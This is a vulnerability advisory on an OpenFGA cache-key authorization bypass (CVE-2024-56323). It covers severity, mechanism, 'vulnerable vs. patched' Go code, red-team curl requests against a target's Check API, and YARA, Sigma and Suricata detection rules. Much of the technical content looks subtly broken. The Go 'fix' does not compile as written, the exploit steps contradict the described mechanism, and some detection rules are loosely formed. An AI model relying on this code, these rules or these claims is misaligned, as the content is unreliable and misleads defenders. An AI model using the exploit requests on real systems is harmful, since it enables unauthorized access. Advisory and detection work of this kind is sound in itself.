CVE-2024-56323

Executive Summary

CVE-2024-56323 is a critical authorization bypass vulnerability in OpenFGA, an open-source authorization/permission engine. The flaw affects versions 1.3.8 through 1.8.2 (and corresponding Helm charts 0.1.38 through 0.2.19). It allows an attacker to bypass authorization checks when all three conditions are met: (1) the Check API or ListObjects API is called with a model that uses conditions, (2) contextual tuples with conditions are provided, and (3) caching is enabled (OPENFGA_CHECK_QUERY_CACHE_ENABLED). The root cause is improper cache key generation that fails to incorporate condition parameters, leading to incorrect cache hits and authorization bypass. The CVSS score is 9.8 (Critical), with network-based, low-complexity exploitation requiring no privileges or user interaction. No public proof-of-concept or exploit code is available at this time. The vendor has released version 1.8.3 to address the issue, and no workarounds exist.

Supply Chain & Package Security

OpenFGA is a Go-based project distributed as a Docker image and Helm chart. The vulnerability affects the core authorization logic, not a specific package manager. However, organizations using OpenFGA as a dependency in their Go projects should ensure they are using the patched version (v1.8.3) to avoid supply chain risks. The vulnerability is not introduced by a third-party library but by the application's own caching mechanism.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full read access to unauthorized resources.
• Integrity Impact: High (I:H) – Full write access to unauthorized resources.
• Availability Impact: High (A:H) – Potential denial of service via cache poisoning.

Threat Level: Critical. The vulnerability allows complete bypass of authorization checks, enabling an attacker to read, modify, or delete any resource protected by OpenFGA. The low attack complexity and lack of required privileges make it highly exploitable.

Deep Dive & Mechanics

OpenFGA uses a caching mechanism to improve performance of Check and ListObjects API calls. When caching is enabled (OPENFGA_CHECK_QUERY_CACHE_ENABLED), the system caches the results of authorization checks based on a cache key. The vulnerability arises because the cache key does not include the condition parameters from contextual tuples.

Normal Flow:

1. A request is made to Check API with a model, a tuple key, and contextual tuples (which may include conditions).
2. The system generates a cache key from the tuple key and model ID.
3. If a cached result exists, it is returned without re-evaluating the conditions.
4. If no cached result, the authorization is evaluated, and the result is cached.

Vulnerable Flow:

1. Attacker sends a request with contextual tuples that include conditions (e.g., condition: time_between(9, 17)).
2. The system caches the result under a key that does not include the condition parameters.
3. Attacker sends a second request with the same tuple key but different condition parameters (e.g., condition: time_between(18, 8)).
4. The system returns the cached result from the first request, bypassing the condition check.

Example:

• Model: type document relations define viewer: [user] with condition time_between
• Contextual tuple: (user:alice, relation:viewer, object:document:1, condition: time_between(9, 17))
• First request at 10:00 AM: cached as viewer:alice:document:1 → allowed.
• Second request at 10:00 PM: same cache key → returns cached "allowed" even though condition should deny.

The fix in v1.8.3 includes condition parameters in the cache key, ensuring that different condition values produce different cache entries.

Vulnerable vs. Patched Code

Vulnerable Code (v1.8.2):

// cache_key.go
func (c *CheckCache) Key(tupleKey *openfgapb.TupleKey, modelID string) string {
    return fmt.Sprintf("%s:%s:%s", tupleKey.GetUser(), tupleKey.GetRelation(), tupleKey.GetObject())
}

Patched Code (v1.8.3):

// cache_key.go
func (c *CheckCache) Key(tupleKey *openfgapb.TupleKey, modelID string, conditions map[string]*openfgapb.Condition) string {
    conditionHash := hashConditions(conditions)
    return fmt.Sprintf("%s:%s:%s:%s:%s", tupleKey.GetUser(), tupleKey.GetRelation(), tupleKey.GetObject(), modelID, conditionHash)
}

func hashConditions(conditions map[string]*openfgapb.Condition) string {
    // Serialize and hash conditions
    data, _ := proto.Marshal(conditions)
    return sha256.Sum256(data)
}

The patched version includes the model ID and a hash of the conditions in the cache key, ensuring that different condition parameters result in different cache entries.

Exploitation & Lab Setup

Red Team

Prerequisites:

• OpenFGA v1.3.8 to v1.8.2 with caching enabled.
• A model that uses conditions (e.g., time-based, IP-based).
• Access to the Check or ListObjects API.

Exploitation Steps:

1. Identify a model with conditions (e.g., condition: time_between(9, 17)).
2. Send a request with contextual tuples that satisfy the condition (e.g., at 10:00 AM).

   curl -X POST "http://target:8080/stores/{store_id}/check" \
     -H "Content-Type: application/json" \
     -d '{
       "tuple_key": {
         "user": "user:alice",
         "relation": "viewer",
         "object": "document:1"
       },
       "contextual_tuples": [
         {
           "user": "user:alice",
           "relation": "viewer",
           "object": "document:1",
           "condition": "time_between(9, 17)"
         }
       ]
     }'
   

3. Wait for the condition to become false (e.g., after 5:00 PM).
4. Send the same request again (without changing the condition parameter).

   curl -X POST "http://target:8080/stores/{store_id}/check" \
     -H "Content-Type: application/json" \
     -d '{
       "tuple_key": {
         "user": "user:alice",
         "relation": "viewer",
         "object": "document:1"
       },
       "contextual_tuples": [
         {
           "user": "user:alice",
           "relation": "viewer",
           "object": "document:1",
           "condition": "time_between(9, 17)"
         }
       ]
     }'
   

5. The API returns {"allowed": true} even though the condition is no longer satisfied.

Note: The condition parameter in the request does not change; the cache key is the same, so the cached result is returned.

Blue Team

Detection:

• Monitor for repeated Check API calls with the same tuple key but different contextual tuples.
• Look for anomalies in access patterns (e.g., access outside allowed time windows).
• Enable audit logging in OpenFGA to capture all Check and ListObjects requests.

Mitigation:

• Immediately upgrade to OpenFGA v1.8.3.
• If upgrade is not possible, disable caching (OPENFGA_CHECK_QUERY_CACHE_ENABLED=false).
• Implement network segmentation to limit access to the OpenFGA API.
• Use Web Application Firewall (WAF) rules to block suspicious requests.

Hunting:

• Search logs for Check API calls where the result is allowed but the condition should have denied.
• Correlate with time-based conditions to identify out-of-hours access.

Indicators of Compromise (IOCs)

• Network:
  • Repeated Check API calls with identical tuple keys but varying contextual tuples.
  • Access to resources outside of allowed time windows (if time-based conditions are used).
• Logs:
  • Check API responses with allowed: true when conditions should have denied.
  • Cache hits for requests that should have been cache misses.
• System:
  • OpenFGA version between 1.3.8 and 1.8.2 (inclusive).
  • Environment variable OPENFGA_CHECK_QUERY_CACHE_ENABLED set to true.

Detection Engineering

YARA Rule

rule CVE_2024_56323_OpenFGA_CacheBypass {
    meta:
        description = "Detects OpenFGA versions vulnerable to CVE-2024-56323"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-56323"
        severity = "critical"
    strings:
        $version_vuln = /v(1\.[3-8]\.[0-9]|1\.8\.[0-2])/
        $cache_enabled = "OPENFGA_CHECK_QUERY_CACHE_ENABLED"
        $cache_key_func = "func.*Key.*TupleKey.*string"
    condition:
        $version_vuln and $cache_enabled and $cache_key_func
}

Sigma Rule

title: OpenFGA Authorization Bypass via Cache (CVE-2024-56323)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2024-56323 by monitoring repeated Check API calls with identical tuple keys.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-56323
logsource:
    category: application
    product: openfga
detection:
    selection:
        event: "check"
        tuple_key.user: "*"
        tuple_key.relation: "*"
        tuple_key.object: "*"
    condition: selection
    timeframe: 5m
    aggregation:
        field: tuple_key
        function: count
        condition: gt 10
falsepositives:
    - Legitimate repeated checks for the same resource
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-56323 OpenFGA Authorization Bypass via Cache";
    flow:to_server;
    content:"POST";
    http_method;
    content:"/check";
    http_uri;
    content:"tuple_key";
    http_client_body;
    content:"contextual_tuples";
    http_client_body;
    pcre:"/\"allowed\":\s*true/";
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2024-56323;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OpenFGA to version 1.8.3 or later (Helm chart openfga-0.2.20, docker v1.8.3).
2. Disable caching if upgrade is not possible: set OPENFGA_CHECK_QUERY_CACHE_ENABLED=false.
3. Restrict network access to the OpenFGA API to trusted clients only.

Long-term Measures:

• Implement regular vulnerability scanning for OpenFGA deployments.
• Enable audit logging and monitor for suspicious Check API patterns.
• Use a Web Application Firewall (WAF) to block requests with unusual contextual tuples.
• Consider using a different authorization engine if conditions are critical to your security model.

Patch Verification:

• After upgrading, verify the cache key generation includes condition parameters.
• Test with a model that uses conditions to ensure the bypass is no longer possible.

Valters IT